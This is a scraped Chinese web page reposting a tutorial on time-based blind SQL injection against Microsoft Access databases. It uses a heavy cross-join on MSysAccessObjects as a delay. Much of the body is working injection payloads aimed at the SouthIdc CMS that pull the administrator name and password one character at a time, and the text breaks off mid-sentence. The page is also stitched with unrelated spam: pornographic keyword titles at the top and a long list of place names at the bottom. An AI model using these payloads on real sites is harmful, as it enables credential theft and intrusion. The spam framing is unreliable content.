国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 網站 > 建站經驗 > 正文

Acce、ss數據庫基于時間sql盲注的實現記錄

2019-11-02 15:25:54
字體:
來源:轉載
供稿:網友

   Access是微軟把數據庫引擎的圖形用戶界面和php?/%C8%ED%BC%FE%BF%AA%B7%A2%B9%A4' target='_blank'>軟件開發工具結合在一起的一個數據庫管理系統。本文我們來看看Access數據庫基于時間sql盲注的實現記錄。

  概述

  眾所周知,access數據庫是不支持基于時間的盲注方式,但是我們可以利用access的系統表MSysAccessObjects,通過多負荷查詢(Heavy Queries)的方式實現。

  初步探究

  我們以SouthIdcv17數據庫為例

  執行 select * from Southidc_About ,返回結果如下圖。

Access數據庫基于時間sql盲注的實現記錄    電腦高手網

  如何實現time base injection 呢?我們就要利用這條語句

  SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12

  具體實現方式如下:

  select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

  Southidc_Admin)=97

  我們可以執行一次,觀察效果。

  很明顯,經歷了大約40s才返回結果

Access數據庫基于時間sql盲注的實現記錄

  當我們執行如下語句時,也就是把最后的97改為96

  select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

  Southidc_Admin)=96

Access數據庫基于時間sql盲注的實現記錄

  很快就執行完畢,沒有延時。

  很明顯,我們通過where條件后的

  (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0

  實現了延時,但需要注意的是這里where后的條件是有順序的,實現延時的語句必須在

  1(select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=97

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 秭归县| 开平市| 金门县| 汶上县| 双辽市| 苍南县| 龙口市| 诏安县| 文山县| 余干县| 台州市| 苍梧县| 栾城县| 阿拉善左旗| 中山市| 九江县| 乐昌市| 靖安县| 和林格尔县| 仪征市| 柯坪县| 凉城县| 皋兰县| 施甸县| 沈丘县| 赞皇县| 静安区| 民勤县| 台山市| 咸阳市| 顺昌县| 茶陵县| 浪卡子县| 新河县| 敦化市| 邳州市| 富锦市| 湟中县| 鲁山县| 铁岭县| 永城市|